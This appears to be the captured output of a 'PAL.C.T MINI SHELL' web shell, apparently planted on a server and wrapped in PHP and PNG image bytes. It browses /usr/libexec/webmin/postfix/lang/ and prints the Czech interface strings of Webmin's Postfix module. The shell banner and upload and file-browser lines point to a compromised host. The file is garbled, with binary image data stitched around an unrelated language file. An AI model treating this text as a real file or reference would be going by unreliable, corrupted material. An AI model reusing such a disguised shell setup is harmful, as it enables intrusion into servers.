php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/cs.auto

connect_emysql=Nepodařilo se načíst ovladač databáze $1
connect_elogin=Nepodařilo se přihlásit do databáze $1:$2.
index_postfix=Postfix

index_esuper=Příkaz správce Postfixu $1 neexistuje. Možná je vaše <a href='$2'>konfigurace modulu</a> nesprávná.
index_reload=Znovu načíst konfiguraci
index_reloadmsg=Klepnutím na toto tlačítko bude Postfix znovu načten všechny své konfigurační soubory. To může být užitečné, pokud byly konfigurační soubory Postfixu ručně upraveny.
index_version=Postfixová verze $1

check_manual=Ručně upravte konfigurační soubor Postfixu.

aliases_addr=Alias z ..
aliases_to=Alias ..
aliases_type1=Adresa $1
aliases_type2=Adresy v souboru $1
aliases_type3=Soubor $1
aliases_type4=Program $1
aliases_type5=Autoreply file $1
aliases_type6=Použijte soubor filtru $1
aliases_none=Žádný
aliases_delete=Smazat vybrané aliasy

postfinger_title=Kontrola konfigurace
postfinger_show=Ukázat
postfinger_ecannot=Není dovoleno kontrolovat konfiguraci Postfixu

mailclean_title=Vyčištění MailQueue
mailclean_ecannot=Čištění poštovních front nemá žádná oprávnění
mailclean_active=Aktivní fronta
mailclean_incoming=Příchozí fronta
mailclean_deferred=Odložená fronta
mailclean_defer=Odložit frontu
mailclean_all=Všechny fronty
mailclean_search=Vyhledávací řetězec

aform_type0=Žádný
aform_type1=Emailová adresa
aform_type2=Adresy v souboru
aform_type3=Zápis do souboru
aform_type4=Podávejte do programu
aform_type5=Autoreply ze souboru
aform_type6=Použít soubor filtru
aform_edit=Upravit Alias
aform_create=Vytvořit Alias
aform_name=Adresa
aform_enabled=Povoleno?
aform_val=Alias to
aform_afile=Upravit ..
aform_return=alias
aform_cmt=Popis

asave_err=Alias se nepodařilo uložit
asave_eaddr='$1' není platná adresa
asave_ealready=Alias pro '$1' již existuje
asave_etype1='$1' není platná e-mailová adresa
asave_etype2=Soubor adres '$1' není platný nebo neexistuje
asave_etype3='$1' není platný název souboru
asave_etype4='$1' není platný program nebo neexistuje
asave_etype5=Autoreply soubor '$1' není platný
asave_etype4none=Není zadán žádný program
asave_etype6=Soubor filtru '$1' není platný

afile_title=Upravit soubor s adresou
afile_desc=Pomocí textové oblasti níže upravte adresy v souboru $1.
afile_efile=Není dovoleno upravovat $1.
afile_undo=Vrátit změny
afile_ewrite=Nepodařilo se zapsat do souboru s adresami : $1

ffile_title=Upravit soubor filtru
ffile_desc=Pomocí následujícího formuláře můžete nastavit pravidla filtru v souboru $1.
ffile_efile=Není dovoleno upravovat $1.
ffile_line=Pokud pole $1 $2 $3, pak předejte $4
ffile_from=z
ffile_to=na
ffile_subject=předmět
ffile_cc=CC
ffile_body=tělo
ffile_what0=neodpovídá
ffile_what1=zápasy
ffile_other=V opačném případě přejděte na $1
ffile_err=Uložení souboru filtru se nezdařilo
ffile_ematch=Chybějící zápas
ffile_eaction=Chybí adresa pro přesměrování

rfile_title=Upravit soubor Autoreply
rfile_desc=Pomocí textové oblasti níže upravte autoreply zprávu v $1. Zpráva může obsahovat makra $SUBJECT, $FROM, $TO, $DATE a $BODY, které budou při aktivaci autoreply rozšířeny.
rfile_desc2=Můžete také nastavit záhlaví pošty, která přidávají nebo nahrazují výchozí nastavení použitá v autoreply tak, že zadáte řádky jako: <br><tt> Od: foo@bar.com </tt><br> <tt>Předmět: Na dovolené</tt> <br> v horní části zprávy, oddělené od těla jediným prázdným řádkem.
rfile_efile=Není dovoleno upravovat $1.
rfile_undo=Vrátit změny
rfile_replies=Chcete sledovat odpovědi, abyste zabránili opakování pošty?
rfile_none=Ne
rfile_file=Ano, pomocí souboru protokolu
rfile_period=Minimální interval mezi odpověďmi
rfile_default=Výchozí (1 hodina)
rfile_secs=sekundy
rfile_ereplies=Chybí soubor protokolu sledování sledování
rfile_eperiod=Chybí nebo je neplatný počet sekund mezi odpověďmi
rfile_no_autoreply=Neposílejte automatické odpovědi
rfile_from=Od: adresa pro odpověď
rfile_auto=Automaticky (na základě adresy příjemce)
rfile_efrom=Chybí od: adresa
rfile_fromdesc=Od: adresa by měla být vždy uvedena tam, kde je to možné, protože automatická metoda nemusí být spolehlivá.

opts_nomap=Není nastavena žádná mapa
opts_setmap=Specifikace mapy
opts_direct=Doručte přímo
opts_notify_classes_sel=Vybráno níže

opts_edir=Mapové soubory můžete zadat pouze pod $1

opts_fallback_transport=Volitelný transport pro neznámé příjemce
opts_prepend_delivered_header_default=Výchozí

opts_mailbox_size_limit=Maximální velikost poštovní schránky

opts_mynetworks_style=Automatické lokální sítě
opts_mynetworks_subnet=Stejná podsíť IP
opts_mynetworks_class=Stejná třída sítě
opts_mynetworks_host=Pouze místní stroj
opts_delay_warning_time_default2=Výchozí Postfix
opts_content_filter_default=Žádný

opts_relay_recipient_maps=Mapa povolených adres pro předávání
smtpd_nomap=Dosud nebyla zadána žádná mapa povolených adres pro přenos.
smtpd_nomap2=Dosud nebyla zadána žádná mapa pro omezení adres odesílatele.
smtpd_map=Povolené adresy pro předávání
smtpd_map2=Omezení adres odesílatele

opts_smtp_use_tls=Pro připojení SMTP použijte TLS
opts_smtp_sasl_security_options=Možnosti zabezpečení SASL
opts_smtp_tls_security_level=Úroveň zabezpečení klienta SMTP TLS

opts_edebug=Chybějící nebo neplatná úroveň podrobného protokolování - musí být číslo větší než nula

canonical_return_sender=odesílatele kanonické mapy
canonical_return_recipient=příjemce kanonické mapy
canonical_return=kanonické mapy

mapping_delete=Smazat vybrané
mapping_cmt=Popis
mapping_ecannot=Mapy můžete upravovat pouze pod $1
new_manual=Upravit mapu ručně
new_manualmsg=Klepnutím na toto tlačítko ručně upravíte soubory, z nichž je tato mapa vytvořena.
map_noname=Chybějící nebo neplatný název mapování
map_cannot=Tuto mapu nelze upravit : $1
map_unknown=Webmin nepodporuje typ mapy $1
mapping_none=Dosud nebyla definována žádná mapování tohoto typu.
mapping_toomany=Existují $1 položky mapy, což je nad limitem zobrazení $2.
mapping_find=Zobrazit mapování odpovídající:
mapping_search=Vyhledávání
mapping_match=Položky mapových souborů odpovídající <tt>$1</tt> ..

opts_virtual_alias_maps=Vyhledávací tabulky mapování domén
opts_virtual_alias_domains=Domény k provedení virtuálního mapování
virtual_same=Z tabulek mapování domény
virtual_return=virtuální domény

transport_return=dopravní mapy

sni_title=Mapování certifikátů
sni_ecannot=Není povoleno upravovat konfiguraci mapování certifikátu
opts_sni_maps=Vyhledávací tabulky mapování certifikátů
sni_return=mapy certifikátů
sni_dom=Název hostitele
sni_certs=Soubory certifikátů

relocated_return=přemístěné mapy
opts_content_filter=Filtr obsahu e-mailu

start_efailed=Postfix se nepodařilo spustit
start_ecannot=Není dovoleno spustit Postfix

acl_sni=Mohou certifikáty upravovat?
acl_header=Lze upravit kontrolu záhlaví?
acl_sasl=Lze upravit ověřování SMTP?
acl_client=Lze upravit omezení klientů SMTP?
acl_master=Lze upravovat procesy na serveru?
acl_mailq=Lze spravovat poštovní frontu?
acl_boxes=Dokážete přečíst e-mail uživatelů?
acl_postfinger=Lze zkontrolovat konfiguraci postfixu?
acl_manual=Lze upravit konfigurační soubor?
acl_dir=Povolený adresář pro soubory mapy
acl_bcc=Lze upravit mapování BCC?

mail_move=Přesunout do:
mail_eexists=Zpráva již neexistuje!

view_flush=Vyplachování
view_body=Text zprávy
view_afile=Název přílohy
view_atype=Typ přílohy
view_aname=Příloha
view_asize=Velikost souboru

search_efield=Musíte vybrat typ vyhledávání.

match_headers=Záhlaví zápas
match_=-----------------
match_!headers=Záhlaví se neshodují

mailq_title=Fronta pošty
mailq_count=$1 zprávy
mailq_none=V současné době nejsou ve frontě k doručení žádné poštovní zprávy
mailq_id=ID pošty
mailq_date=Odesláno
mailq_from=Z
mailq_to=Na
mailq_cc=Cc
mailq_subject=Předmět
mailq_return=fronty pošty
mailq_delete=Odstranit vybrané zprávy
mailq_size=Velikost
mailq_ecannot=Není dovoleno zobrazit frontu pošty
mailq_egone=Zpráva již není ve frontě
mailq_status=Postavení
mailq_flush=Vyprázdnit frontu pošty
mailq_flushdesc=Klepnutím na toto tlačítko vynutíte okamžité doručení všech zpráv ve frontě a zobrazíte výsledky.
mailq_refresh=Aktualizovat frontu pošty
mailq_refreshdesc=Znovu načtěte tuto stránku, aby se zobrazil aktuální stav fronty pošty.
mailq_deleteall=Vymazat frontu pošty
mailq_deletealldesc=Klepnutím na toto tlačítko odstraníte všechny zprávy z fronty pošty.
mailq_search=Najít zprávy ve frontě, kde
mailq_move=Vybrat requeue
mailq_incoming=Přicházející
mailq_active=Aktivní
mailq_deferred=Odložený
mailq_hold=Vybrat
mailq_unhold=Un-Hold Selected

flushq_title=Flush Queue
flushq_desc=Vynucení pokusu o doručení pošty příkazem $1 ..

qview_title=Zpráva ve frontě
qview_desc=Ze souboru $1
qview_headers=Záhlaví pošty
qview_attach=Přílohy

after_err=Chyba konfigurace Postfixu : $1

searchq_title=Výsledky hledání ve frontě
searchq_none=Nebyly nalezeny žádné zprávy ve frontě.

header_title=Kontroly záhlaví
header_ecannot=Není dovoleno upravovat kontroly záhlaví
header_eregexp=Mapa pro kontrolu záhlaví musí být ve formátu <tt>regexp:</tt> <i>název_souboru</i>
opts_header_checks=Tabulky pro kontrolu záhlaví MIME
header_name=Regulární výraz
header_value=Akce pro zápasy
header_discard=Zahodit (se zprávou protokolu..)
header_dunno=Nedělat nic
header_filter=Použít filtr ..
header_hold=Umístit do čekací fronty (se zprávou protokolu...)
header_ignore=Ignorovat
header_prepend=Připravte text ..
header_redirect=Přesměrovat na adresu ..
header_replace=Nahradit textem.
header_reject=Odmítnout (s chybovou zprávou..)
header_warn=Varování protokolu (se zprávou..)
header_ename=Neplatný regulární výraz - musí být jako / něco /
header_return=kontroly záhlaví

body_title=Tělesné kontroly
body_ecannot=Není dovoleno upravovat tělesné kontroly
body_eregexp=Mapa těla musí být ve formátu <tt>regexp:</tt> <i>název_souboru</i>
opts_body_checks=Tabulky pro kontrolu textu zprávy
body_return=tělesné kontroly

dependent_title=Mapování závislé na odesílateli
dependent_ecannot=Není dovoleno upravovat transportní mapování závislé na odesílateli
dependent_eregexp=Mapa přenosu závislá na odesílateli musí být ve formátu <tt>regexp:</tt> <i>název_souboru</i>
dependent_return=mapování dopravy závislé na odesílateli

manual_title=Upravit soubor mapy
manual_file=Vyberte soubor mapy, který chcete upravit:
manual_change=Změna
manual_editing=Pomocí textového pole níže ručně upravte mapování v $1. Buďte opatrní, protože nebude provedena žádná kontrola syntaxe ani platnosti.
manual_err=Uložení souboru mapy se nezdařilo
manual_efile=Neplatný název souboru mapy!
manual_ecannot=Nemáte dovoleno manuálně upravovat mapové soubory

delq_titles=Mazání zpráv
delq_rusure=Opravdu chcete odstranit $1 vybrané zprávy ve frontě?
delq_confirm=Smazat zprávy

master_title=Procesy serveru
master_name=Název procesu
master_enabled=Povoleno?
master_type=Typ přepravy
master_private=Soukromé?
master_unpriv=Bez privilegia?
master_chroot=Chrooted?
master_max=Max. Procesy
master_inet=Internet
master_unix=Unix soket
master_fifo=Pojmenovaná trubka
master_add=Přidejte nový proces serveru.
master_unlimit=Neomezený
master_ecannot=Není dovoleno upravovat procesy serveru
master_edit=Upravit proces serveru
master_create=Vytvořit proces serveru
master_header=Podrobnosti procesu serveru Postfix
master_host=Poslouchejte na hostitelské adrese
master_any=Jakákoli adresa
master_private2=Soukromý k poštovnímu systému?
master_unpriv2=Spouštět jako uživatel Postfixu?
master_chroot2=Chroot do adresáře fronty pošty?
master_return=serverové procesy
master_defyes=Výchozí (Ano)
master_command=Příkaz procesu
master_wakeup=Automaticky probudit proces?
master_wtime=Po $1 sekundách
master_wused=Pouze pokud se skutečně používá
master_max2=Maximální procesy
master_procs=Nejvýše $1
master_name2=Název serveru / port
master_egone=Proces serveru již neexistuje!
master_eclash=Proces serveru se stejným názvem a typem dopravy již existuje
master_err=Proces serveru se nepodařilo uložit
master_ename=Chybějící nebo neplatný název nebo port serveru
master_ehost=Neplatná adresa hostitele k poslechu
master_einet=Hostitelskou adresu, na kterou lze poslouchat, lze zadat pouze pro internetové procesy
master_ecommand=Chybí příkaz procesu serveru
master_ewakeup=Chybějící nebo neplatná doba probuzení
master_emaxprocs=Chybějící nebo neplatný maximální počet procesů

delete_err=Mapování se nepodařilo smazat

cmanual_title=Upravit konfigurační soubory
cmanual_ecannot=Není dovoleno upravovat konfigurační soubor Postfixu
cmanual_ok=Upravit
cmanual_efile=Vybraný soubor není součástí konfigurace Postfixu
cmanual_file=Upravit konfigurační soubor:
cmanual_edata=Nic nevstoupilo!
cmanual_err=Uložení konfiguračního souboru se nezdařilo

access_return=tabulka přístupových map
edit_map_file=Upravit soubor mapy
opts_reject_rbl_client=Vyhledání černé listiny v reálném čase (RBL)
opts_check_sender_access=Zkontrolujte tabulku přístupových map odesílatele

log_misc=Změněny obecné možnosti
log_opts=Změna přepisování adresy a maskování
log_aliases=Změněné možnosti aliasu
log_canonical=Změna možností kanonického mapování
log_virtual=Změněny možnosti virtuální domény
log_bcc=Změněné možnosti mapy BCC
log_transport=Změněné možnosti mapování dopravy
log_sni=Změňte možnosti mapování certifikátu
log_dependent=Změněné možnosti adresy závislé na odesílateli
log_relocated=Změněné možnosti mapování přemístit
log_header=Změněné možnosti kontroly záhlaví
log_body=Změněné možnosti kontroly těla
log_debug=Změněné funkce ladění
log_ldap=Změněné vyhledávání LDAP
log_local=Změněno místní doručení
log_rate=Změněné dodací lhůty
log_resource=Byla změněna obecná kontrola prostředků
log_smtp=Změněné možnosti klienta SMTP
log_smtpd=Změněné možnosti serveru SMTP
log_alias_create=Vytvořený alias $1
log_alias_modify=Upravený alias $1
log_alias_delete=Odstraněný alias $1
log_delete_aliases=Odstraněn aliasy $1
log_virtual_alias_maps_create=Vytvořená virtuální doména $1
log_virtual_alias_maps_modify=Upravená virtuální doména $1
log_virtual_alias_maps_delete=Odstraněná virtuální doména $1
log_delete_virtual_alias_mapss=Odstraněna virtuální domény $1
log_manual_virtual_alias_mapss=Ručně upravené virtuální domény v $1
log_virtual_maps_create=Vytvořená virtuální doména $1
log_virtual_maps_modify=Upravená virtuální doména $1
log_virtual_maps_delete=Odstraněná virtuální doména $1
log_delete_virtual_mapss=Odstraněna virtuální domény $1
log_manual_virtual_mapss=Ručně upravené virtuální domény v $1
log_canonical_maps_create=Vytvořeno kanonické mapování $1
log_canonical_maps_modify=Upravené kanonické mapování $1
log_canonical_maps_delete=Odstraněné kanonické mapování $1
log_delete_canonical_mapss=Smazáno kanonické mapování $1
log_manual_canonical_mapss=Ručně editované kanonické mapování v $1
log_recipient_canonical_maps_create=Vytvořeno kanonické mapování příjemce $1
log_recipient_canonical_maps_modify=Upravené kanonické mapování příjemců $1
log_recipient_canonical_maps_delete=Kanonické mapování příjemce bylo odstraněno $1
log_delete_recipient_canonical_mapss=Smazáno kanonické mapování $1
log_manual_recipient_canonical_mapss=Ručně editované kanonické mapování příjemců v $1
log_sender_canonical_maps_create=Vytvořeno kanonické mapování odesílatele $1
log_sender_canonical_maps_modify=Upravené kanonické mapování odesílatele $1
log_sender_canonical_maps_delete=Kanonické mapování odesílatele bylo odstraněno $1
log_delete_sender_canonical_mapss=Odstraněno kanonické mapování odesílatele $1
log_manual_sender_canonical_mapss=Ručně editované kanonické mapování odesílatele v $1
log_transport_maps_create=Vytvořeno mapování transportu $1
log_transport_maps_modify=Upravené mapování transportu $1
log_transport_maps_delete=Odstraněné mapování transportu $1
log_delete_transport_mapss=Odstraněn transportní mapování $1
log_manual_transport_mapss=Ručně upravená mapování transportu v $1
log_relocated_maps_create=Vytvořeno přemístěné mapování $1
log_relocated_maps_modify=Upravené přemístěné mapování $1
log_relocated_maps_delete=Odstraněné přemístěné mapování $1
log_delete_relocated_mapss=Smazáno $1 přemístěná mapování
log_manual_relocated_mapss=Ručně upravená přemístěná mapování v $1
log_header_checks_create=Vytvořená kontrola záhlaví $1
log_header_checks_modify=Upravená kontrola záhlaví $1
log_header_checks_delete=Odstraněná kontrola záhlaví $1
log_delete_header_checkss=Odstraněna kontrola záhlaví $1
log_manual_header_checkss=Ručně upravené kontroly záhlaví v $1
log_body_checks_create=Kontrola vytvořeného těla $1
log_body_checks_modify=Modifikovaná kontrola těla $1
log_body_checks_delete=Odstraněná kontrola těla $1
log_delete_body_checkss=Odstraněno tělesné kontroly $1
log_manual_body_checkss=Ručně editované tělo kontroluje v $1
log_master_create=Vytvořený serverový proces $1
log_master_modify=Proces upraveného serveru $1
log_master_delete=Odstraněný serverový proces $1
log_manual=Ručně upravený konfigurační soubor $1
log_stop=Zastavený server Postfix
log_start=Spuštěn Postfix server
log_reload=Obnovená konfigurace Postfixu
log_delqs=Odstraněny zprávy $1 z fronty pošty
log_flushq=Vyprázdněná fronta pošty
log_backend=Aktualizovaný konfigurační soubor pro mapu $1
log_sasl=Změněno ověřování a šifrování SMTP
log_client=Změněna omezení klienta SMTP
log_sender_dependent_default_transport_maps_create=Vytvořená adresa závislá na odesílateli $1
log_sender_dependent_default_transport_maps_modify=Upravená adresa závislá na odesílateli $1
log_sender_dependent_default_transport_maps_delete=Odstraněná adresa závislá na odesílateli $1
log_delete_sender_dependent_default_transport_mapss=Odstraněna adresa závislá na odesílateli $1
log_manual_sender_dependent_default_transport_mapss=Ručně upravené adresy závislé na odesílateli v $1

sasl_title=Ověřování a šifrování SMTP
opts_smtpd_sasl_auth_enable=Vyžadujete SASL SMTP autentizaci?
opts_smtp_sasl_auth_enable=Použít SASL SMTP autentizaci?
opts_smtpd_tls_auth_only=Zakázat autentizaci SASL přes nezabezpečená připojení?
opts_broken_sasl_auth_clients=Manipulace s klienty SMTP, kteří nejsou v souladu?
sasl_opts=Možnosti zabezpečení SMTP
sasl_noanonymous=Odmítnout anonymní přihlášení
sasl_noplaintext=Odmítnout přihlašování prostého textu
opts_smtpd_delay_reject=Zpoždění klientů při neúspěšných přihlášeních?
sasl_recip=Omezení příjemce SMTP
sasl_relay=Omezení relé SMTP
sasl_permit_mynetworks=Povolit připojení ze stejné sítě
sasl_permit_sasl_authenticated=Povolit ověřené klienty
sasl_reject_unauth_destination=Odmítnout e-mail do jiných domén
sasl_permit_inet_interfaces=Povolit připojení z tohoto systému
sasl_reject_unknown_reverse_client_hostname=Odmítněte klienty bez zpětného hostitele
sasl_reject_unknown_client=Odmítněte klienty bez zpětného hostitele
sasl_check_relay_domains=Povolit pouze přenosové domény
sasl_permit_mx_backup=Povolit domény, pro které je tento systém záložní MX
sasl_permit_tls_all_clientcerts=Povolte klientům TLS jakýkoli certifikát
sasl_reject_unauth_pipelining=Odmítněte časné příkazy SMTP
sasl_check_client_access=Zkontrolujte přístupovou mapu klienta :
sasl_reject_rbl_client=Odmítnout, pokud je IP adresa klienta v RBL :
sasl_reject_rhsbl_client=Odmítnout, pokud je název hostitele v RBL :
opts_smtpd_tls_cert_file=Soubor certifikátu TLS
opts_smtpd_tls_key_file=Soubor soukromého klíče TLS
opts_smtpd_tls_CAfile=Soubor certifikační autority TLS
opts_smtpd_use_tls=Povolit šifrování TLS?
opts_smtp_enforce_tls=Vyžadujete šifrování TLS?
sasl_err=Uložení ověřování a šifrování SMTP se nezdařilo
sasl_ecert=Chybějící nebo neplatný soubor certifikátu TLS
sasl_ekey=Chybějící nebo neplatný soubor klíče TLS
sasl_eca=Chybějící nebo neplatný soubor certifikační autority TLS
sasl_level_none=Nikdy
sasl_level_may=Na žádost klienta
sasl_level_encrypt=Vždy
sasl_level_dane=Oportunistický DANE TLS
sasl_level_dane_only=Povinné DANE TLS
sasl_level_fingerprint=Ověření otisku prstu
sasl_level_verify=Povinné ověření TLS
sasl_level_secure=Zabezpečený kanál TLS
sasl_login=Přihlášení SMTP k hostiteli odchozí pošty
sasl_nologin=Není potřeba
sasl_userpass=Přihlaste se jako $1 s heslem $2
sasl_elogin=Chybějící nebo neplatné přihlašovací údaje pro SMTP (nejsou povoleny mezery ani dvojtečky)
sasl_epass=Neplatné heslo SMTP (nejsou povoleny žádné mezery)

client_title=Omezení klienta SMTP
client_ecannot=Není dovoleno upravovat omezení klientů SMTP
client_restrict=Zákaznická omezení
client_restrict1=Výchozí Postfix (povolit všem klientům)
client_restrict0=Vybráno níže ..
client_other=Další omezení :
client_err=Uložení omezení klienta se nezdařilo
client_evalue=Chybí hodnota pro omezení $1
client_return=Omezení klienta SMTP

chooser_title=Vyberte Zdroj mapy
chooser_header=Zdroj mapy $1
chooser_none=Žádný
chooser_hash=Mapovací soubor
chooser_regexp=Soubor Regexps
chooser_pcre=Soubor regexps ve stylu Perl
chooser_other=Jiný zdroj
chooser_mysql=MySQL databáze
chooser_mysqlsrc=Zdroj MySQL
chooser_mhosts=Hostitelé serveru MySQL
chooser_muser=Přihlášení do databáze
chooser_mpassword=Heslo databáze
chooser_mdbname=Jméno databáze
chooser_mtable=Tabulka obsahující mapu
chooser_mselect_field=Hodnota pole
chooser_mwhere_field=Klíčové pole
chooser_madditional_conditions=SQL pro <tt>kde</tt> klauzuli
chooser_err=Uložení zdroje mapy se nezdařilo
chooser_ehash=Chybějící nebo neplatný název mapování pro mapu $1
chooser_eregexp=Chybějící nebo neplatný název souboru regulárních výrazů pro mapu $1
chooser_epcre=Chybějící nebo neplatný název souboru regulárních výrazů kompatibilních s Perl pro mapu $1
chooser_eother=Chybějící nebo neplatný jiný zdroj pro mapu $1
chooser_enone=Nebyl zadán žádný
chooser_emhosts=Chybějící hostitelé serveru MySQL pro mapu $1
chooser_emuser=Chybějící nebo neplatné přihlašování do databáze pro mapu $1
chooser_empassword=Chybějící nebo neplatné heslo databáze pro mapu $1
chooser_emdbname=Chybějící nebo neplatný název tabulky pro mapu $1
chooser_emselect_field=Chybějící nebo neplatné pole hodnoty pro mapu $1
chooser_emwhere_field=Chybějící nebo neplatné pole klíče pro mapu $1
chooser_emadditional=Chybějí další podmínky SQL pro mapu $1
chooser_mquery=Vlastní dotaz pro mapu
chooser_emquery=Chybějící vlastní dotaz na mapu
chooser_lserver_host=Hostitelé serveru LDAP
chooser_lserver_port=Port LDAP
chooser_lstart_tls=Použít šifrování TLS?
chooser_lsearch_base=LDAP základna vyhledávání DN
chooser_lquery_filter=Filtr dotazů
chooser_lresult_attribute=Atribut výsledku
chooser_lscope=Rozsah vyhledávání
chooser_lsub=Celá podstrom
chooser_lone=Jedna úroveň
chooser_lbase=Pouze základna
chooser_lbind=Přihlášení k serveru LDAP?
chooser_lbind_dn=Přihlášení k serveru
chooser_lbind_pw=Heslo serveru
chooser_ldap=LDAP server
chooser_lfilter=Jiný filtr
chooser_lattribute=Další atribut
chooser_elserver_host=Chybí hostitelé serveru LDAP pro mapu $1
chooser_elserver_port=Chybějící nebo neplatný port serveru LDAP pro mapu $1
chooser_elsearch_base=Chybí vyhledávací základna LDAP pro mapu $1
chooser_elquery_filter=Chybějící filtr dotazů pro mapu $1
chooser_elresult_attribute=Chybějící nebo neplatný název atributu výsledku pro mapu $1
chooser_elbind_dn=Chybějící přihlášení pro server LDAP pro mapu $1
chooser_elbind_pw=Chybí heslo pro server LDAP pro mapu $1

mysql_ecfile=Konfigurační soubor MySQL $1 nebyl nalezen
mysql_ecfile2=Nelze najít tabulku v konfiguračním souboru MySQL $1
mysql_edriver=Nepodařilo se načíst ovladač databáze $1
mysql_elogin=Nepodařilo se přihlásit do databáze $1:$2.
mysql_equery=Nepodařilo se dotazovat tabulku $1 : $2 
mysql_eadd=Vložení SQL se nezdařilo : $1
mysql_edelete=Odstranění SQL se nezdařilo : $1
mysql_eupdate=Aktualizace SQL se nezdařila : $1
mysql_elist=SQL dotaz se nezdařil : $1
mysql_esource=Nebyl nalezen žádný zdroj MySQL s názvem $1
mysql_eneed=Konfigurační parametr MySQL $1 nebyl nalezen. Webmin to potřebuje, aby zjistil, které tabulky a pole k dotazu.

ldap_ecfile=Konfigurační soubor LDAP $1 nebyl nalezen
ldap_eldapmod=Modul Perl $1 potřebný pro komunikaci s LDAP není nainstalován nebo nelze načíst
ldap_eldap=Nepodařilo se připojit k serveru LDAP $1 na portu $2
ldap_eldaplogin=Nepodařilo se přihlásit k serveru LDAP $1 jako $2 : $3 
ldap_ebase=LDAP základní DN $1 není platný : $2
ldap_eadd=Přidání LDAP $1 se nezdařilo : $2
ldap_edelete=Odstranění LDAP $1 se nezdařilo : $2
ldap_equery=LDAP vyhledávání $1 selhalo : $2
ldap_erename=Přejmenování LDAP z $1 na $2 se nezdařilo : $3
ldap_emodify=LDAP modifikace $1 selhala : $2

bcc_title=Mapování BCC
bcc_ecannot=Není dovoleno upravovat mapování BCC
opts_sender_bcc_maps=Vyhledávací tabulky mapování odesílatele BCC
opts_recipient_bcc_maps=Vyhledávací tabulky BCC mapování příjemce
bcc_sender=Mapování odesílatele
bcc_recipient=Mapování příjemců
bcc_senderdesc=Mapování BCC odesílatele definuje další e-mailovou adresu, ze které bude pošta <b>z</b> uvedených adres nebo domén obsahovat BCCd.
bcc_recipientdesc=Mapování BCC příjemce definuje další e-mailovou adresu, na kterou budou e-mailové adresy <b>až</b> uvedeny adresy BCCd.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`